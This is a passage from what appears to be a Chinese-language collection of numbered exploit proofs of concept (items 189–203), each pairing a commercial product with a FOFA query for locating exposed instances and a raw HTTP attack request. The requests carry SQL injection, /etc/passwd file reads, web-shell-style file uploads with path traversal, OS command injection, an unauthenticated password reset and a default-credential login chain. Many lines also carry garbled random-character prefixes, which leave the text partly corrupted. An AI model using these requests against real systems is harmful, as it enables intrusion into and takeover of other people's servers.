Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
/ `' J$ T. K' I- F. c) GConnection: close

1 i! K( N* j. k% C
! l" @, T1 ]* y% a1 J189. 蓝网科技临床浏览系统 deleteStudy SQL注入
# h; D. `  L1 S2 r( l9 \FOFA：app="LANWON-临床浏览系统"
  Y& t" D; g, I$ q, wGET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
- T8 S9 s8 l1 M3 HHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
3 Z: W/ ~, {, X' F, g9 dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
* T+ J6 y$ A) Q. ]* Z8 {$ KConnection: close

# E0 ?2 I/ i! r% U$ p
' Z6 b' X& t. p190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
, w3 u! j5 Q0 P" O% a' sPOST /index.php/admin/Userinfo/poihuoqu HTTP/2
$ E0 `$ [6 S- {+ wHost: your-ip
: N% [: N# [. {, B4 lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
3 Z6 j4 \( l0 s0 U" BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
9 @& p; Z, m1 V5 |8 |Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
/ \5 r+ h  B3 h, o, b8 C! f
( U( K7 }, j. ]" {  R* |poi=file:///etc/passwd


9 g0 A# I/ ]0 M' Z8 y# `191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
2 G$ ^% l- A' j0 K; E* B1 e3 XPOST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
$ N( _. e. U+ n( ^; f0 Q: `Content-Type: application/x-www-form-urlencoded

command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
* w6 R" `# U. |3 Y2 o  O; u

192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
FOFA：title="用户登录_富通天下外贸ERP"
; R9 Q  Q& E6 u: A6 P; k0 EPOST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
% Y3 e) W4 c6 m6 IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
, a  z- g1 A6 rContent-Type: application/x-www-form-urlencoded

; ?8 N8 |: D9 b" y, f
, l3 A4 ~- U) T8 i1 R<% @ webhandler language="C#" class="AverageHandler" %>
using System;
0 M7 V' E$ L3 r. X9 V5 y3 ~  n( J+ |using System.Web;
; I1 o( Y3 A$ s& R/ ]5 G2 {# n7 Lpublic class AverageHandler : IHttpHandler
6 W! r9 k6 H3 L$ @{
public bool IsReusable
+ T) ?: f* A) C0 J3 E7 J{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
8 g2 S8 Y+ Z1 f{
ctx.Response.Write("test");
) q. T- }$ S0 c. v) ]2 x4 t}
, U" O" F7 h8 Z2 Z7 |}
: u2 E% ~' q$ ]
$ j% X# r5 j% d* {  B2 _
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
; W" @* N7 C! ~9 F- O' _2 Y  wFOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
* x: m/ U3 A4 a% K7 T7 E6 F8 |Cookie: PHPSESSID=2333333333333;
3 P6 E) P0 Z& p$ Y+ GContent-Type: application/x-www-form-urlencoded
( m" z" Q' @- E- v( u  Z) E# cUser-Agent: Mozilla/5.0
- q& d  S/ j! v% {8 i4 l

& R2 X. z# h3 [+ i" |5 S  A1 G' dPOST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
# H* a! d0 i+ b; [* f/ ZHost:
* p# b0 d  y, r, t0 E1 }- }User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept: */*
  M2 t1 t6 [6 \! a# h& W. l5 D6 oConnection: close
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
) F9 i4 i3 v2 T; Y  h4 l
. s; j' M$ s) A; J/ mparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
1 u' R# ~! K. g. d. q1 T

GET /master/img/config HTTP/1.1
& j% v. ]! K' x8 L$ l4 [Host:
  g9 W& L9 F" q* e: ^" N- C% L: ?9 rUser-Agent: Mozilla/5.0
/ K% ~9 r8 K2 [; I1 p6 ]1 b

194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

POST /servlet/uploadAttachmentServlet HTTP/1.1
2 T  Q- a7 G, K: B1 PHost: host
1 ]: o  a8 F, _/ h7 C0 j1 nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
5 |5 g! p: Q6 E" H9 c$ VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. S3 o* _7 e1 A, }Accept-Encoding: gzip, deflate
, E/ M. l) ]6 H' H- dConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
, ]7 o4 K$ Q% o: j$ K------WebKitFormBoundaryKNt0t4vBe8cX9rZk
8 t4 n( b5 d2 n9 B" p5 m$ t: H
Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
1 B* L8 f) j7 h/ UContent-Type: text/plain
<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
! `. p! b0 Q- \------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
' }8 W. Z. m0 M
6 z) j7 g, H( V" ]% X9 H
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
! t+ A) [( i2 E; H9 @% K! O$ cPOST /send_order.cgi?parameter=operation HTTP/1.1
0 N/ n7 Q, ]6 Y+ ]* o5 N# o) {Host: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
6 v# d! t: f6 W- l  _, O0 iAccept: */*
8 V% Q: p( m) xAccept-Encoding: gzip, deflate
' M3 U+ I2 `3 T& @# @Accept-Language: zh-CN,zh;q=0.9
  C! `# i. R; F4 eConnection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 68

{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}

3 u# H" O* B; b* {4 T3 ?
7 X5 d6 t* H" E% w4 U196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
3 m- b1 f. ]& X+ v" DPOST /cas/userCtl/resetPasswordBySuper HTTP/1.1
: Y7 `$ t' n0 g8 s$ OUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
( r+ r4 A) k# `X-Requested-With: XMLHttpRequest
Host:
' z4 m2 ]9 ~; c6 g4 v" \Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
Connection: close

{"xgh":"test","newPass":"test666","email":""}
3 _6 n- ~2 Y, M8 u. i# t* c, v7 c) Q
) w$ O5 d& P. S7 k! Q) n& G7 q8 I

197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
% V+ l/ j, ^6 S2 W+ |2 a/ T- U- UGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
, P. b1 N3 Z/ \Accept-Encoding: gzip, deflate
Connection: close
; A$ T9 C% [4 L# Q2 \' x* J- P
" x) ]5 y. A: r2 I" Y- |9 Y
0 p- b( @0 M  T6 L
) W/ P! {  ^* g0 f3 q0 X198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
Accept-Encoding: gzip, deflate
/ v9 M  g3 G( I# N, A8 gAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close


199. cockpit系统assetsmanager_upload接口 文件上传

6 @5 L; |2 T9 P: z% n1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
& X0 ~& Z9 a, v& W9 a9 K* b% CGET /auth/login?to=/ HTTP/1.1
+ ~  c8 b8 v8 J& M: `9 r) Q
响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

2.使用刚才上一步获取到的jwt获取cookie：
6 x* N5 H1 W" s* q! l% g. t
# R8 I9 N# G+ M) p9 q/ w& OPOST /auth/check HTTP/1.1
Content-Type: application/json

* b# L: v% e+ X8 q# m' W; [% u; F{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
# t; o! K# T+ I5 ?* lFofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
5 g+ Q' ^' {5 }8 y2 @7 yCookie: mysession=95524f01e238bf51bb60d77ede3bea92

-----------------------------36D28FBc36bd6feE7Fb3
7 i+ V7 R/ y, f9 t1 k# H- `Content-Disposition: form-data; name="files[]"; filename="tttt.php"
, ~5 P- [0 G0 {5 K  nContent-Type: text/php

7 M" G- B, W1 [' P/ L<?php echo "tttt";unlink(__FILE__);?>
% Q7 j4 o, d# c/ _-----------------------------36D28FBc36bd6feE7Fb3
# o4 q3 {  u8 T/ f3 A  `Content-Disposition: form-data; name="folder"
$ x  o9 s9 S" Y; [& i* c
-----------------------------36D28FBc36bd6feE7Fb3--

& g# `# T* t( V2 A7 @* f# r4 ]
/storage/uploads/tttt.php

200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
; c! u8 ?: K6 `5 _- ^$ A0 X4 U- vAccept-Language: zh-CN,zh;q=0.9
* u5 b1 ]( l% l

& j( ~( H& U' M* N: L- T201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
! i0 V1 ~) a# X: SContent-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
+ d3 k  a' W" N" l& pAccept-Language: zh-CN,zh;q=0.9
Connection: close
9 `' V+ W. ^# R- P
$ I: m4 h$ M" {1 q% {8 H' n$ ATableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
8 ^# d7 t% u0 b1 W+ F, l! c
: L, Y& k# r' F. S) P  _/ W
0 }1 A4 Y* o, M  v202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
, P9 _$ e: m; \/ z8 J9 t获取__VIEWSTATE和__EVENTVALIDATION值
) n0 w5 X# T2 C! q$ v/ }  F8 YGET /User/AccountEdit.aspx HTTP/1.1
. ~$ v$ g7 \- J- K3 pHost: 滑板人之家
, L. v; ?; m) R0 j* aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0
& Z4 u; G5 k0 T8 x1 P: b
0 x! l' F* _! c: G5 b
替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
1 R& F& r8 \7 P: D+ p
-----------------------------786435874t38587593865736587346567358735687
6 J4 q# b+ S8 Y7 U- g( P5 ]' Y# XContent-Disposition: form-data; name="__VIEWSTATE"
1 g' {5 R9 N# U# G! u! X' f' ?
__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
1 X. D3 V/ U* r: Q% q! M: R" bContent-Disposition: form-data; name="__EVENTVALIDATION"
5 b* J# i. H* q8 c  S
: `" U6 z7 x# Z8 M__EVENTVALIDATION
; R* m! V2 Q* q-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
5 j( t' S3 q) ?( `; AContent-Type: text/plain
  f( Y" c$ ^: m; }" _1 n% X
0 l9 ]; }1 C3 i4 k/ v) {3 jHello World!
( h0 w* e. c6 B- o/ o) [-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

上传图片
-----------------------------786435874t38587593865736587346567358735687
" ^1 H. k$ P) KContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"

+ [4 \+ k) z( I# k
6 H8 w+ L. y. M& x( P/ `" e-----------------------------786435874t38587593865736587346567358735687
3 [- c' {( k$ o& H- Y3 ~  u# zContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"

2 W0 V7 G5 Y. E- \
9 A" b+ a& D, a. O-----------------------------786435874t38587593865736587346567358735687--


# u; z  n$ |/ _' a1 P& Y3 @' v- q/_data/Uploads/1123.txt

, c2 O& g) a! p2 z" n/ z+ ?203. 红海云EHR PtFjk 文件上传
# r8 ~3 m0 B3 ?/ _& BFOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
1 _; d" K& X2 t' w  I4 h+ s3 wHost: x.x.x.x
- z  }( i2 A% R" cAccept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
$ E. M: Z3 w; m  f  v% }1 NContent-Length: 210
  G& }( I9 c8 R2 e9 ?. R7 Z$ c
* p& B/ e4 Q' p7 M- l4 \6 @$ A3 l------WebKitFormBoundaryt7WbDl1tXogoZys4
0 N2 L' O( H# P2 Q8 Q' O/ fContent-Disposition: form-data; name="fj_file"; filename="11.jsp"
; Z) h( x  Q  F# X. l+ T6 JContent-Type:image/jpeg
! u% _4 A( T$ |/ x& q1 }5 f
! g2 w1 o1 f7 w6 M( _9 d' U3 n- _7 f<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--
, W7 _( ~* S6 j9 c' Q* X/ Q! C
: X6 W8 L3 Z' v. }2 s
% @" j( I/ G; J) l  h1 A
; F7 J: Q1 \2 @# A  R9 M


% K8 S9 p9 j/ Z! V% y$ D